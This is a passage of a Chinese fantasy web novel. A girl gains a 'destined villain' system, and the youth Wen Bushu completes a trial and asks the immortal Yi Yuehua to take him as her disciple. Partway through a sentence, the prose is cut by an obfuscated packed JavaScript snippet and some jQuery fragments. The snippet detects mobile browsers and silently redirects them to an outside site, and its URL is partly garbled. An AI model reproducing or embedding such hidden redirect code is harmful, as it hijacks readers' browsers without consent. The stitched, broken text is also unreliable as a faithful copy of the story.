勿负颜开闸般的情绪瞬间一收,脑袋一撇就往上走,不再回头,反而好似兴致勃勃地问∶
“什么金手指?”
系统一本正经∶“鉴于您之前的要求,向上审核后给了您天命反派系统。”
勿负颜∶什么天命?什么反派?
“哇噻。”她惊讶得毫无感情,“你的意思是∶我,作为一个魔族混血,即将入职世界第一正道门派,抱上世界第一正道修士大腿,然后会成为一个世界第一反派,是吗?”
系统机械音同样很镇定∶“每做一件与身份相符的事即可随机获得属性点、等阶提升、灵器、灵石等各类物品。”
“当反派我义不容辞!”勿负颜语气坚定、神情严肃,没擦去的泪痕都仿佛在发光,如同接到了人生使命,“不过,我的好感度开启系统商城的活动还在吗?”
“在的,您只需要将任意任务目标好感度提升至70,系统商城开启后可直接换绑天命反派系统。以后不需要依赖好感,可以好好做反派哦。”
系统特意在句尾卖了个萌,勿负颜一边爬一边翻了个白眼,阴阳怪气重复了一句∶
“可以好好做反派哦~”
“叮咚~随机属性点+1。”机械音响起。
勿负颜∶这也算?
“好好做反派哦~”她又说了一句。
“重复行为不进行计数。”系统声音冷漠的可怕。
可勿负颜乐笑了。
七八岁的小女孩叉着腰站在台阶上笑得直不起腰,胡乱用手擦掉脸上紧绷的痕迹,再行动时她的脚步越发轻快。
也算是有好事发生。
水镜之外,衣月华目光停留在勿负颜身上,眼神中带着打量。
她刚刚察觉到小姑娘身上有细微的灵力波动,不是她本身更亲和的魔气,反而更像是精纯的灵力。
很微量、细如蛛丝,几乎是瞬间钻进了她的丹田处。
手指轻轻点了点自己的的下巴,衣月华又扫过她身边那些同样在爬问心梯的人∶没有这种情况。
他们彼此之间不可见,水镜中却是一览无余,恸哭者大有人在,唯有勿负颜收到了不可知的馈赠。
衣月华转剑的动作停了几息,她想,或许勿负颜作为世外之人,还带着什么不可说的力量。
当初尖叫着呼唤她过去时,这个小孩是以极其痛苦扭曲的姿势蜷缩在地、捂住脑袋——
奇怪的存在是寄居于勿负颜识海里?
是远古的大能残骸、是夺舍的哄骗还是……天道的偏爱?
衣月华目光上移,又看向走在最前面的温不书。
不知在试炼场经历了什么,温不书已然引气入体,步履比周围人稳得多,很快两同行者甩至身后。
问心梯的心魔引似乎并没有对他产生什么影响。行动间倒是比以往更显轻适,腰间的玄月稳稳坠在一侧,随着他的动作小幅度摆动。
等等,她的玄月?!
衣月华一瞬坐直了身体,复一歪,靠回椅子里。她皱着眉盯着那个晃悠得很欢快的黑白小剑,哪怕只是看,都能看出玄月明显很开心。
难怪她找不到,原来是给自己换了新主人。
衣月华气笑了,又反思自己平时是不是太忽略副剑了,思索间也就没瞧见温不书的神情是恍惚的∶动作逐渐卡顿,像在梦游。
这边,温不书面前缓缓显现出一个身影。
是他自己。
他没有如他设想那样看到曜日仙尊,此刻只有直直走在他前面的自己。
那个背影与他相似,服装却不同。
“他”的身量似乎高一些、肩也更宽一点,身着普通的黑色布衣,很像当初山神祭时的装扮。
与他如今已经在行医处换到的一身白衣对比强烈。
“他”不紧不慢地走在他前面,两人步伐一致,可不论温不书怎么追赶,“他”总是在他几步之外。
良久,他听见自己的声音,仿佛是从自己的喉尖发出的∶
“你也是去找她吗?”
明明没有指名道姓,温不书却福至心灵般明白,“她”就是曜日仙尊。
然而,他没打算回话,而“他”似乎也不需要他回话。
声音从自己嘴里吐露,却一句比一句难懂。
“你还能找到她,可我找不到了。”
“你说,仙人如果不守约该怎么办呢?”
“人间短短几十载,白首唯我,青山……已逝。”
黑衣人发色渐白,人也佝偻下去,某一刻眨眼,他又恢复了原样。
“我总会找到的,可你比我幸运。”
最后这句,不再是温不书自己说出,却让他本能地战栗,好似踏入了什么无法掌控的真相。
他掉入了一个漩涡。
好似自从他想留在衣月华身边开始,这个漩涡的中心是她,外围也是她。他如溺水之人,不论怎么沉浮,皆向往,皆向逃。
莫名其妙的心悸、刺痛,明明只一照面,他就恍若隔世。他的内心告诉他,他存在的意义就是等着见到她的那一刻。
可为什么?
温不书在此刻脚步停下,竟生出退缩之意∶
是不是,只要远离,一切便都能可控?
可如果停下——
他不甘心。
他不甘心命运就此停止纠缠,不甘心四季更替难以寻渡,他不想让出分毫与她有关的可能性。
快步上前,黑衣人没动,他也没有回头。
“我们总是败给相同的执念,我如此,你亦然。”
身后响起他的声音,语气很奇怪,但温不书不听。
他大踏步往上走,急切、不再犹豫,阶梯上只听独行的脚步声声,长梯依旧与天相接,但他知道尽头在哪。
天光大亮,迷雾散尽,他踏上问心梯最后一阶,眼前一空,视线延展。
巨大的圆形场地周围垒起高台,高高在上的神祇们面无表情,垂眸仿若悲悯,皆在俯视着他。
唯有一神,唯有一人,她把玩着她的剑,姿态肆意星眸璀璨,她垂头看向他,在笑。
明明身后空无一人,却比所有肃穆者都要耀眼,她独成一方天地,一举一动似拨动山河日月。
他下意识就要奔向她。
“第一名,温不书。”一位年轻的修士按住了他,向上瞟了一眼,触及曜日仙尊的位置时下意识低头,“跟我过来测灵根。”
温不书此刻恍然收住自己莫名的情绪,看向年轻修士,点头、表情乖巧∶
“好的,麻烦您了。”
被引着到测灵石碑前站定,碑上刻着十道让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412379|200701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人看不懂的文字,留着些间隔,凿痕很深。
温不书伸手抚上那些文字,第一道光亮起,第二道、第三道……前五行文字具都亮了一半,五种颜色交相辉映,煞是好看。
“普通假五灵根,心性不错,天赋太差。”坐在石碑旁负责记录的山羊胡修士看了一眼,淡淡说了一句。“如果没有人收你,可勉强入外门。”
温不书没有什么感觉,或许是幻境影响,他早接受自己本就没有什么天赋。
可……曜日仙尊会嫌弃吗?
温不书手指蜷进衣袖里,四周无风无鸣,万物静谧,他不敢抬眼。
在他听不见的穹顶中,状似仙人的修士们交头接耳。
“难得是爬了三千阶的心性,天曜圣地似乎只有曜日当初曾上三千五百阶吧?超两千阶的都少。”
“是啊,唉……这个灵根怕是筑基都难。”
“早就说要先测灵根再走问心梯,这不浪费人的时间嘛!”
“其实还好吧,重尽天那位不也是五灵根吗?人家可是称为全灵根呢!”
“哈?那位可是五行字全亮,你瞅他只亮了一半,说明灵根斑驳,就是普通人好吧!”
“就是,全灵根混沌灵根变异灵根那些呼吸都在修炼的灵根,能容纳的灵气怎么可能只开一半石碑封印?”
“没好好读基础通识是这样的。”
“人身攻击是吧!打一架!”
“急了!内门教基础通识的长老可是问心长老,你完啦!”
周围小声议论,或惋惜或感叹,但这件事过于不值一提,他们的话题逐渐偏移。
衣月华动作不变,闲闲地听着,眼瞳下转,只盯着那道远远的、清瘦的身影。
你要怎么做呢?
还有勇气走到我面前吗?
思及此,她忽地勾起一丝略带恶劣的笑意,她说了,只要他们走到她面前,她就收。
但她曜日仙尊的徒弟,可不是那么好当的。
风起,温不书听见了那些细碎的、密密匝匝的刺人嘲笑与漫不经心。
千万种声音萦绕在耳边,每一句都在说他不够格、没有用,飘渺而遥远,却每一个词句都那么清晰。
良久,语气越发刻薄,可——
温不书抬起了头,看向衣月华时眼睛却是亮晶晶的。他不自觉向她走去,像小狐狸一般弯起眸,泄出的一点点瞳仁里灿若繁星。
他听到了,那千万种声音里没有她的声音。
所以完全没关系,他可以再努力一点、再……贪心一点。
他起先只是走,后来变成了跑,衣袍在空中划出雀跃的弧度,跳动的黑白色小剑仿佛在跳舞。
他们目标多么一致。
在所有人错愕的目光中,少年在衣月华面前站定了。
他反复演练了很多次,可真正站在她面前时脑中却一片空白。
呼吸不匀、话语哽在喉间,他其实想给她一点好印象的,此刻却堪称狼狈。他已经听不见其他声音了,只有自己的心跳如擂鼓。
他的目光一寸寸、认认真真看过她的眉眼,好似第一次如此仔细描摹她的模样。
然后,他听见自己的声音响起,轻轻的、小小的,唯恐惊动尘埃。
他问∶
“您能收我为徒吗?”